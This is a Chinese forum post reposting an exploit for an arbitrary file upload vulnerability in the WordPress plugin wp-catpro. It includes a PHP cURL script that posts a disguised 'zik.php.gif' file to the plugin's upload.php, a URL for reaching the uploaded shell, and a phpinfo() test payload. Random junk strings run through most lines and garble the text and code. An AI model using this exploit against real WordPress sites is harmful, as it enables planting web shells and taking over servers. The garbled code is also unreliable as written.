找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2333|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
* X% O4 V( q$ o/ c, c" ?#-----------------------------------------------------------------------
  `$ c2 C4 y; U ! ?+ o$ \3 a/ e! v# ^
作者  => Zikou-165 W" u' ~/ T: R% z7 s' N
邮箱 => zikou16x@gmail.com2 ?5 h; L; w' S
测试系统 : Windows 7 , Backtrack 5r3
8 d7 U, q  Q$ ]4 {下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip7 C! [2 v+ h# J$ ]
####5 a- K0 Y0 k- i9 M. [) K
2 q' p3 U, c6 }" G. V7 G
#=> Exploit 信息:
- z1 [) N+ U( w4 [1 n9 P------------------) G  {. U9 C' Q. |2 ]# v! t
# 攻击者可以上传 file/shell.php.gif3 ^! t) o8 x" g" ^: }
# ("jpg", "gif", "png")  // Allowed file extensions# K. S' _+ x3 U+ T" U: S
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
, ~- `/ n. z- _4 ^- [0 o# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format). N' H& e$ _. q$ x
------------------
9 C# {! m) u7 B4 l ' I4 `. c$ m! o2 @% i/ t
#=> Exploit
- O) Q- x# Q* i4 ^3 T-----------1 X4 P0 g9 y9 W: f1 E. i
<?php
7 \5 ?) o, n# G" m! g' ?3 O " {1 z) x& l" Y9 `7 X  M" D2 r
$uploadfile="zik.php.gif";
4 O! @7 j7 u1 L: O$ I$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");/ @1 E# E8 ^0 ?" T! B9 L& A+ M
curl_setopt($ch, CURLOPT_POST, true);
: m; W; t% L9 Q$ N, r+ [( Qcurl_setopt($ch, CURLOPT_POSTFIELDS,& K7 @& B8 g; V1 L3 y# c/ L
array('Filedata'=>"@$uploadfile",
5 B) y" \& S% j) F/ `& k'folder'=>'/wp-content/uploads/catpro/'));  Z; U. ?4 Y1 m8 z
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
; P# F: c. j) z% W4 [$ P! \, P$postResult = curl_exec($ch);
, \" b& h6 e* e/ L5 Ucurl_close($ch);
0 n" c+ O9 T) K' t3 c9 u2 G+ O ! _7 i  Q& ?6 J) x9 b, H) k4 O) K
print "$postResult";
3 H. I& V+ i1 \6 s- b
. Q; @, E+ @4 V0 N8 X& W% S" w: ~Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif9 w- R5 e& M6 U, C/ j5 t" p
  ?>* S; \* `- `) f* z  \
<?php- ~' N7 G& D7 D: s
phpinfo();' p7 Q; S0 P* z% ^3 N
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表